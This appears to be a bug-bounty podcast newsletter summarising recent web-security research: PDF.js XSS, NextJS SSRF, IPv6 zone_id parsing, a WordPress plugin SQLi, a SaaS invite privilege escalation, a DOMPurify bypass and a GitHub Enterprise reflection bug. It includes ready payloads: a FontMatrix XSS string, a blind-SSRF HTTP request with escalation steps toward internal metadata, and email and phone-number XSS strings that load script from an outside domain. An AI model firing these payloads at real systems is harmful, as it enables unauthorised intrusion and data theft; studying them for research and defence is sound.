[HackerNotes Ep. 72] Research TLDRs & Smuggling Payloads in Well Known Data Types

Justin and Joel discuss some hot research from the past couple months. This includes ways to smuggle payloads in phone numbers and IPv6 Addresses, the NextJS SSRF, the PDF.JS PoC drop, and a GitHub Enterprise Indirect Method Information bug. Also, we have an attack vector featured from Monke!

Hacker TLDR;

PDF.JS Universal XSS via Malicious PDF

Sound the XSS Klaxxon - a big XSS has dropped affecting PDF.js, a JS-based PDF viewer from Firefox. This also happens to be the default PDF viewer for Firefox users, so it’s a pretty widespread XSS.

The library is quite popular, so this will also affect quite a few web and desktop applications that depend on the library.

The TL;DR of the vuln is due to the way the library performed glyph rendering. It would take apart the PDF file and place it directly into JS, and subsequently eval it. This means you could specify a font, close off the call and place your JS payload in to execute. Example from the PDF:

/FontMatrix [1 2 3 4 5 (0\\); alert\\('foobar')]

Which would result in the XSS popping in the document, as shown below:

The full writeup for this can be found below. They’ve also included a sample POC PDF to use:

Auditing libraries and functionality similar to this provide an incredibly rich attack surface if you’re looking for a new research avenue.

NextJS SSRF by AssetNote

AssetNote is back with some more stellar research on NextJS. Some people may think of NextJS as more of a clientside library, but NextJS is also in the serverside market.

This is quite a nice write-up, with the AssetNote team bypassing quite a few obstacles in the way to get a full SSRF POC crafted. If you’re looking to exploit this, there are a few prereqs to take into account:

  • A server action is defined;

  • The server action redirects to a URL starting with /;

  • We can specify a custom Host header while accessing the application.

The minimal PoC to trigger blind SSRF:

POST /x HTTP/1.1
Host: kwk4ufof0q3hdki5e46mpchscjia69uy.oastify.com
Content-Length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
Connection: close

{}

If you want to upgrade this to a full read SSRF, you need to bypass some additional checks from NextJS by:

  • Setting up a server that takes requests on any path.

  • On any HEAD request, return a 200 with Content-Type: text/x-component.

  • On a GET request, return a 302 to our intended SSRF target (such as metadata.internal or the like)

  • When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request but will follow the redirect on GET, giving us a full read SSRF.

Again, check out the full write-up for full details on this one as it is top-notch research from AssetNote as per usual:

Smuggling payloads + Slonser IPV6 Research

More often than not, apps require the ability for an email address or phone number from a user. Something less commonly thought about is the RFCs around these and some allow support for wider character sets than just numbers.

Taken from this thread (Thanks, zseano https://x.com/zseano/status/1784320275577729440) some payloads to try when you next encounter an email or mobile number prompt:

Email

"><img/src/onerror=import('//domain/')>"[@yourdomain](<https://x.com/YourDomain>).com

Phone Number

013371337;ext=<img/src/onerror=import('//domain/')>

Keep these payloads in mind for your next hunt.

On a similar note, Slonser dropped some cool research on IPv6 parser implementations. The zone_id concept in an IPv6 address can be abused to smuggle data past the parsers across different languages. There are some nuances between the languages and how exactly they handle the zone_id, but check it out below:

SQLi In WordPress ValvePress Automatic Plugin

Sometimes some bugs are hidden in plain sight. MrTuxracer dropped a nice Twitter thread on his research into CVE-2024-27956 here https://x.com/MrTuxracer/status/1784229071460692232.

Turns out, with the right endpoint, you can drop your full SQL statement in the q parameter of a post body. This was taken from the thread:

The chances are this has been patched in most instances but if you happen to see the ValvePress Automatic plugin in use, give this POC a check.

Bug of the Week - Monke

Monke dropped an interesting logic flaw bug affecting some SaaS platforms this week. There are two preconditions for this one:

  1. When new users are invited to the platform they should be assigned a default role.

  2. When an admin invites a user in this way, they shouldn’t be able to modify the user’s permissions whilst the invite is in a pending state.

This creates a privilege escalation scenario. The default role is often not thought about, or in some cases inherited from the user sending the invite which can prove to be problematic if the default or inherited role is a mid-level or super admin for example.

Upon the user accepting the invite, they could have permission to take over or modify resources in the tenant. In some instances, they may even be able to lock out the admin user accounts.

This has cropped up quite a few times for Monke, so keep an eye out for it.

DomPurify Bypass

DomPurify is usually a pretty solid defence against a lot of XSS vectors and rarely suffers from any bypasses, so when a bypass drops it’s usually something to pay attention to.

Judging from the commits pushed as part of the fix, we can see quite a few changes with additional mitigations against mXSS here: https://github.com/cure53/DOMPurify/pull/943/commits

No public POCs have been dropped yet but looking at the pull request you have to nest a few levels of elements to cause some form of namespace confusion when the payload is being parsed.

GitHub Enterprise send() bug

Like all good bugs reported on Boxing Day (December 26th), this one by Ngo Wei Lin (@Creastery) is likely one of the most impactful bugs Github has had on its program.

Now, the writeup is pretty Ruby heavy and to fully appreciate this one you’ll have to dive into the article. If you’ve spent some time on the pod episodes, you may have heard of emphasis put on any kind of functionality that allows reflection.

Reflection is essentially a method of invoking another method via the target method (indirect method invocation). How this is done varies across languages, so be sure to familiarise yourself with your target’s codebase and language when searching for this behaviour.

The crux of the vulnerability arose from this snippet:

...
class Organizations::Settings::RepositoryItemsComponent < ApplicationComponent
  def initialize(organization:, repositories:, selected_repositories:, current_page:, total_count:, data_url:, aria_id_prefix:, repository_identifier_key: :global_relay_id, form_id: nil)
    @organization = organization
    @repositories = repositories
    @selected_repositories = selected_repositories
    @show_next_page = current_page * Orgs::RepositoryItemsHelper::PER_PAGE < total_count
    @data_url = data_url
    @current_page = current_page
    @aria_id_prefix = aria_id_prefix
    @repository_identifier_key = repository_identifier_key # [2]
    @form_id = form_id
  end
  ...
  def identifier_for(repository)
    repository.send(@repository_identifier_key) # [1]
  end
  ...
end

Taken from the blog ‘..At [1], repository.send(@repository_identifier_key) is invoked in the identifier_for() method without any prior input validation on @repository_identifier_key (set at [2]). This allows all methods accessible by the object (including private or protected methods, and any other methods inherited from ancestor classes) to be invoked.’ It’s a pretty dense writeup which will take a bit of time to comprehend but a well-worth read: https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/

The impact of this initially resulted in access to over 1.2k of Github environment variables, followed by an RCE.

Knowing what kind of behaviours and what leads to pursue when auditing a codebase can seem daunting, but if you plan on looking for some higher impact leads Justin dropped a Twitter thread detailing some here: https://x.com/Rhynorater/status/1788598984572813549

Some examples of functions which allow indirect method invocation (related to the above blog) were also dropped:

I can’t imagine triage was too happy with the timing of this one being reported!

As always, keep hacking!